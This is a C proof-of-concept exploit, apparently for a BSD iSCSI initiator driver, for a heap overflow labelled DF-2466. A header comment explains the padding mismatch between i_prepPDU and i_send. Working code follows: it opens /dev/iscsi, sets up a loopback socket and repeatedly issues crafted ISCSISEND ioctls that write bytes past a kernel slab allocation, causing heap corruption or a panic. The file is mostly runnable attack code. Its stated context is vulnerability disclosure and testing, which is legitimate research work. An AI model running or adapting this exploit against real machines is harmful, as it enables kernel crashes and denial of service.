DF-2466 / df2466.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | /* * df2466.c - Heap-overflow PoC for i_send ahs_len/ds_len padding (DF-2466). * * The ISCSISEND ioctl (root-only, /dev/iscsiN is 0600 root:wheel) hands a * user pdu_t to i_send(). i_send() allocates pq->len-48 bytes * (iscsi.c:461), where i_prepPDU() sized pq->len rounding (48+ahs+ds) up to * a 4-byte boundary (isc_sm.c:283). But i_send()'s own pad loop rounds only * ds_len up to 4 (iscsi.c:486). When (ahs_len+ds_len)%4==0 but ds_len%4!=0, * i_prepPDU adds 0 pad bytes while i_send writes (4-(ds_len&3)) NUL pad bytes * PAST the allocation. * * ahs_len=7, ds_len=1: alloc = 8 (exact kmalloc-8 chunk), i_send writes * 3 NUL bytes at offsets 8,9,10 -> 3-byte overflow into the adjacent * 8-byte slab chunk. Looping accumulates slab corruption -> INVARIANTS * panic on GENERIC (or silent corruption). * * This is a ROOT->kernel corruption (no unpriv boundary crossed). Impact: * kernel heap corruption / panic DoS from a root process. * * Build: cc -O2 -o df2466 df2466.c * Run: ./df2466 [ahs_len] [ds_len] [iterations] */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/ioccom.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> /* mirror of the kernel pdu_t (sys/dev/disk/iscsi/initiator/iscsi.h) -- the first 48 bytes are union ipdu_u (BHS); then the ahs/ds ptrs and lengths. */ typedef struct { unsigned char ipdu[48]; unsigned char *ahs; unsigned int ahs_len; unsigned int ahs_size; unsigned int hdr_dig; unsigned char *ds; unsigned int ds_len; unsigned int ds_size; unsigned int ds_dig; } my_pdu_t; #define ISCSISETSES _IOR('i', 1, int) #define ISCSISETSOC _IOW('i', 2, int) #define ISCSISEND _IOW('i', 10, my_pdu_t) int main(int argc, char **argv) { int ahs_len = argc > 1 ? atoi(argv[1]) : 7; int ds_len = argc > 2 ? atoi(argv[2]) : 1; int iters = argc > 3 ? atoi(argv[3]) : 8000; /* small listening target so the session socket is connected */ int lst = socket(AF_INET, SOCK_STREAM, 0); int one = 1; setsockopt(lst, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one); struct sockaddr_in la; memset(&la, 0, sizeof la); la.sin_family = AF_INET; la.sin_addr.s_addr = inet_addr("127.0.0.1"); la.sin_port = htons(13260); if (bind(lst, (struct sockaddr*)&la, sizeof la) < 0) { perror("bind"); return 1; } listen(lst, 1); if (fork() == 0) { int a = accept(lst, 0, 0); if (a>=0){sleep(120); close(a);} _exit(0); } int fd = open("/dev/iscsi", O_RDWR); if (fd < 0) { perror("open /dev/iscsi"); return 2; } int n = -1; if (ioctl(fd, ISCSISETSES, &n) < 0) { perror("ISCSISETSES"); return 3; } printf("df2466: session id=%d\n", n); fflush(stdout); close(fd); char dev[32]; snprintf(dev, sizeof dev, "/dev/iscsi%d", n); int nfd = open(dev, O_RDWR); if (nfd < 0) { perror(dev); return 4; } int soc = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in sa; memset(&sa, 0, sizeof sa); sa.sin_family = AF_INET; sa.sin_port = htons(13260); inet_pton(AF_INET, "127.0.0.1", &sa.sin_addr); if (connect(soc, (struct sockaddr*)&sa, sizeof sa) < 0) { perror("connect"); return 5; } if (ioctl(nfd, ISCSISETSOC, &soc) < 0) { perror("ISCSISETSOC"); return 6; } printf("df2466: soc set; ahs_len=%d ds_len=%d iters=%d\n", ahs_len, ds_len, iters); fflush(stdout); /* buffers for copyin */ unsigned char ahsbuf[4096]; memset(ahsbuf, 0xA5, sizeof ahsbuf); unsigned char dsbuf[4096]; memset(dsbuf, 0x5A, sizeof dsbuf); int i, ok = 0, fail = 0; for (i = 0; i < iters; i++) { my_pdu_t pdu; memset(&pdu, 0, sizeof pdu); pdu.ipdu[0] = 0x00; /* opcode = NOP_OUT (doesn't matter for overflow) */ pdu.ahs = ahsbuf; pdu.ahs_len = ahs_len; pdu.ds = dsbuf; pdu.ds_len = ds_len; int rc = ioctl(nfd, ISCSISEND, &pdu); if (rc == 0) ok++; else { fail++; if (fail < 5) { perror("ISCSISEND"); } } if ((i % 1000) == 0) { printf(" iter %d ok=%d fail=%d\n", i, ok, fail); fflush(stdout); } } printf("df2466: done iter=%d ok=%d fail=%d (if we got here, no panic yet)\n", i, ok, fail); fflush(stdout); close(nfd); return 0; } |